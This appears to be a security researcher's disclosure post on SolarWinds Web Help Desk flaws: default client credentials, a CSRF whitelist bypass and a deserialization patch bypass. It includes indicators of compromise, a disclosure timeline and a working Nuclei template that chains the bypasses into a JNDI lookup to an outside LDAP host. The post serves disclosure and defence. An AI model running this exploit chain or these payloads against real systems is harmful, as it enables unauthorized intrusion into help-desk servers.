TL;DR
We discovered a handful of security issues in Solarwinds Web Help Desk. These issues include…
- … an unauthenticated remote-code execution vulnerability via deserialization.
- … static credentials that allow limited access to authenticated functionality.
- … a security protection bypass regarding protected site actions.
These vulnerabilities are easily exploitable and enable unauthenticated attackers to achieve remote code execution on vulnerable Solarwinds Web Help Desk instances. Solarwinds has stated that these issues are patched in Web Help Desk version 2026.1, and we encourage all users to upgrade as soon as possible.
Background
SolarWinds Web Help Desk (WHD) is a help-desk and IT service management platform that provides ticketing, asset tracking, SLA management, and workflow automation for support teams. Its main purpose is to centralize and streamline IT support operations and is widely deployed across organizations of all sizes.
Back in August of 2024, Solarwinds released an advisory for WHD in order to address CVE-2024-28986, a deserialization vulnerability stemming from the AjaxProxy functionality that could result in remote code execution. Within a few days, this vulnerability was added to CISA’s Known Exploited Vulnerabilities catalogue.
A couple of months later, another advisory (CVE-2024-28988) was released stating that a bypass had been discovered in the previous patch. Then, in September 2025, yet another advisory (CVE-2025-26399) was released in order to cover yet another discovered patch bypass.
Jump to present day, yet another advisory has been released to cover yet another bypass.
The following sections detail the exploit chain for the most recent issues, describe potential indicators of compromise, and detail the disclosure timeline.
The Issues
Static Creds (CVE-2025-40537)
When WHD first initializes, a client account is created for demo purposes. This account is created with a username of client and a default password of client.
While this account appears to be limited in its access rights in some production environments, we’ve come across cases where this account is still associated with the default tech account and allows anyone logging in with this “client” user account to switch to the administrator account.
As an example, here’s a quick clip of “client” logging into our demo environment:
Security Protection Bypass (CVE-2025-40536)
WHD contains a handful of request filters, much the same as any other Java web app, designed to handle things such as validating authentication headers, routing requests for static resources, handling security features such as cross-site request forgery checks, etc. As it happens, the CSRF checks implemented in WHD contain a little something extra.
When filtering requests destined for WebObjects (via “wo” in the request path), the “checkCsrfTokenWo()” function is invoked. This function not only validates that the CSRF token is valid, but also validates request query parameters against a whitelist.
The whitelisting functionality above can be bypassed by including a bogus URI parameter with a value of “/ajax/”. This allows for access to certain restricted functionality. For example, the “wopage” parameter can be used to allow WebObject component pages to be loaded directly.
Why is this important? Well, it all has to do with how WHD works behind the scenes. WHD utilizes Java WebObjects, an older and still unfortunately somewhat common Java web application framework. Without going into too much detail about the specifics of the WebObjects framework itself, the biggest features we care about in terms of exploiting the vulnerabilities discussed in this post are…
- … anything you see on any given web page is a component or part of a component.
- … components are only created and accessible when a valid session creates and calls upon them.
- … pretty much everything is stateful to some degree.
Under normal circumstances, when a user visits the login page, a session is created for them with the only components instantiated being those associated with the login page itself. The current component will appear in the URL as a string of integers and periods (such as “helpdesk/WebObjects/Helpdesk.woa/wo/6.7”). Once the user logs in, other components will be created and their identifiers will be appended to the URL as being “nested” in this current session (e.g. “helpdesk/WebObjects/Helpdesk.woa/wo/6.7.43.0.0.0.2.1.1.0.1.4.17.5.0.1”), which makes any given URL somewhat unique and dynamic based on the components created for the current session.
Long story short, this essentially means that in order to access any particular component, you first need to know all prior components that need to be accessed in order for the target component to get instantiated.
As it turns out, some of the restricted query parameters that this vulnerability allows access to helps us shortcut this process. In particular, the “wopage” parameter mentioned previously happens to create WebObject components on-the-fly based on just the component name.
For example, after establishing a valid session (done by simply visiting the login page), an unauthenticated user can submit a GET request to the following endpoint:
- /helpdesk/WebObjects/Helpdesk.woa/wo/test.wo/<wosid>/1.0?badparam=/ajax/&wopage=LoginPref
This is sufficient to create a LoginPref WebObject component server-side, which happens to create a valid AjaxProxy instance, which leads us to…
Java Deserialization (CVE-2025-40551)
WHD has functionality to allow users to upload files for a variety of functionality – customization of the UI, attachments to tickets, etc. This is where AjaxProxy from the initial advisories comes in. Taking a peek at the AjaxProxy code makes it plainly obvious what the “deserialization” issue is.
From this, we can see that when handling requests destined for components that utilize this functionality, the jabsorb library (a lightweight JSON-RPC library) is used to dynamically load and execute various component actions, which are just different methods defined for the component’s class. jabsorb is known to contain a variety of code execution issues when not properly restricted with many publicly available gadgets. So how do we get to the point of being able to access this feature?
Luckily, WebObject components have all of their definitions defined somewhere in the java resource files.
The AjaxFlexibleFileUpload component appears to make use of AjaxProxy, so how do we access it? Turns out, this is used by the LookAndFeelPref component as well as the LoginPref component, which both appear to be named pages the aforementioned “wopage” query parameter will allow us to access directly.
Now that we know how to access this functionality, let’s see if we can get around any restrictions. In previous attempts to fix this issue, it appears that a routine was added to sanitize the “params” and “fixups” fields of requests destined for the JSONRPC bridge – AjaxProxy.
This sanitize function determines whether or not a request is destined for AjaxProxy by checking if the URI contains “ajax,” which is insufficient. The request handler for ajax components is nearly identical to the request handler for typical web objects, so simply changing the request URI from “ajax” to “wo” is sufficient to bypass this new sanitization routine.
For example, requests destined for “/helpdesk/WebObjects/Helpdesk.woa/ajax/5.0.7.1.7.0.9.1.1” will have the json fields for “params” and “fixups” removed. Changing the URI to “/helpdesk/WebObjects/Helpdesk.woa/wo/5.0.7.1.7.0.9.1.1” achieves the same functionality and bypasses the sanitizing routines.
Additionally, the blacklist used in the existing “checkSuspeciousPayload()” (typo theirs) function is able to be bypassed via the “isWhitelisted()” function.
By including each of the whitelisted terms early in the json payload, requests can bypass the blacklist altogether, which allows for the same remote code execution potential as previous CVEs regarding AjaxProxy functionality. An example request is as follows:
While newer versions of WHD do not include the C3P0 libraries that previously contained gadgets leading to RCE, there are other classes on the classpath that could allow an attacker to perform malicious actions, such as forging sessions or even continuing to achieve unauthenticated RCE.
Putting It All Together
From end to end, in order to chain these issues to achieve RCE, an attacker needs to perform the following:
- Establish a valid session and extract key values
- Create a LoginPref component
- Set the state of the LoginPref component to allow us to access the file upload
- Use the JSONRPC bridge to create some malicious Java objects behind the scenes
- Trigger these malicious java objects
While we’ve intentionally left out a few details required for plug-and-play RCE, the following Nuclei template is sufficient to show a JNDI Lookup attempt from the WHD host to an arbitrary host.
id: solarwinds_jndi_lookup
info:
name: SolarWinds Web Help Desk AjaxProxy JNDI Lookup
author: Horizon3.ai
severity: critical
flow: |
http("initial_session") &&
http("login_pref_page") &&
http("trigger_saml_object") &&
http("create_jsonrpc_bridge") &&
http("create_malicious_object") &&
http("trigger_jndi_lookup")
http:
- id: initial_session
method: GET
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa"
headers:
x-webobjects-recording: 1
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(tolower(all_headers), "x-webobjects-session-id")
- contains(tolower(all_headers), "xsrf-token")
- contains(toupper(all_headers), "JSESSIONID")
internal: true
condition: and
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: wosid
part: header
regex:
- "[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})"
group: 1
internal: true
- type: regex
name: xsrf_token
part: header
group: 1
regex:
- "Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});"
internal: true
- id: login_pref_page
method: GET
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- externalAuthContainer
- SAML 2.0
internal: true
condition: and
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: externalAuthContainer
part: body
group: 1
regex:
- 'id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\.[0-9]+)'
internal: true
- id: trigger_saml_object
method: POST
path:
- "{{BaseURL}}/{{externalAuthContainer}}"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}}
matchers:
- type: status
status:
- 200
internal: true
- id: create_jsonrpc_bridge
method: GET
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- JSONRpcClient
internal: true
condition: and
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: jsonrpc_endpoint
part: body
group: 1
regex:
- "JSONRpcClient\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\);"
internal: true
- id: create_malicious_object
method: POST
path:
- "{{BaseURL}}helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
body: |
{
"bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
"id":1,
"method":"wopage.setVariableValueForName",
"params":[
"malicious",
{
"javaClass":"org.apache.xalan.lib.sql.JNDIConnectionPool",
"jndiPath":"ldap://{{interactsh-url}}/ou=ou,o=o"
}
]
}
matchers:
- type: status
status:
- 200
internal: true
- id: trigger_jndi_lookup
method: POST
path:
- "{{BaseURL}}helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
body: |
{
"bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
"id":1,
"method":"wopage.variableValueForName",
"params":["malicious"]
}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200
Indicators of Compromise
WHD log files can be found in <Install directory>/log/ unless otherwise configured.
To check for access to the default client account (CVE-2025-40537), whd-session logs should contain entries similar to:
INFO sessionLogger - eventType=[login], accountType=[client], username=[client], sessionID=[redacted], allActiveSessionCount=[1]
To check for attempted attacks on the JSONRPC endpoint, auditing the whd logs for JSONRPC errors or whitelisted payloads is an indicator of malicious activity.
ERROR org.jabsorb.JSONRPCBridge - exception occured
and
INFO whd.helpdesk.com.macsdesign.util - Whitelisted payload with matched keyword: java.. Payload= {
"bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
"id":1,
"method":"wopage.variablevalueforname",
"params":["malicious"]
}
WHD access log files can be found in <Install directory/logs/> unless otherwise configured. To check for attempted access to restricted functionality, requests destined for “/Helpdesk.woa/wo/*” with parameters not belonging in the following whitelist is a good starting point. While some of these parameters do get used in certain situations, access from unknown or unexpected IP addresses likely indicates potential malicious activities. Additionally, request parameters containing the string “/ajax/”, which could signify a whitelist bypass attempt, is also somewhat unusual for this application.
- faqid
- _u
- _r
- wodata
- activesessionid
- windowid
- path
- mdsajaxlongresponsepageredirect
- heartbeatcount
- ticketid
- term
- id
- historyentryid
- sction
- showrejectedmsgs
- stamp
- client
- erxsid
- embedded
- username
- password
- techview
- auth
- rt
- ui
- action2
- r
- ext
- reportid
- location
- indate
- outdate
Remediation
These issues were disclosed in accordance with Horizon3.ai’s Vulnerability Disclosure Policy. For more information, please refer to Solarwind’s advisory. Solarwinds has stated that these issues are mitigated in Web Help Desk version 2026.1.
Coverage for these issues is available in NodeZero. To see how the NodeZero platform can help uncover and remediate critical vulnerabilities like this in your environment, visit our NodeZero Platform page or speak with an expert by requesting a demo.
Disclosure Timeline
- December 5, 2025 – Horizon3.ai discloses to Solarwinds PSIRT
- December 5, 2025 – Solarwinds PSIRT sends automated acknowledgement.
- December 5, 2025 – Solarwinds PSIRT sends formal acknowledgement and requests more information.
- December 5, 2025 – Horizon3.ai provides the requested information.
- December 5, 2025 – Solarwinds PSIRT confirms receipt.
- December 12, 2025 – Solarwinds PSIRT confirms report validity and provides incident ticket number for further communications.
- January 7, 2026 – Horizon3.ai requests status update. Solarwinds provides status update.
- January 21, 2026 – Solarwinds PSIRT provides status update and offers preview release. Horizon3.ai acknowledges.
- January 26, 2026 – Horizon3.ai confirms receipt of preview release and provides feedback.
- January 27, 2026 – Horizon3.ai requests dates for coordinated release.
- January 28, 2026 – Solarwinds PSIRT releases patches.
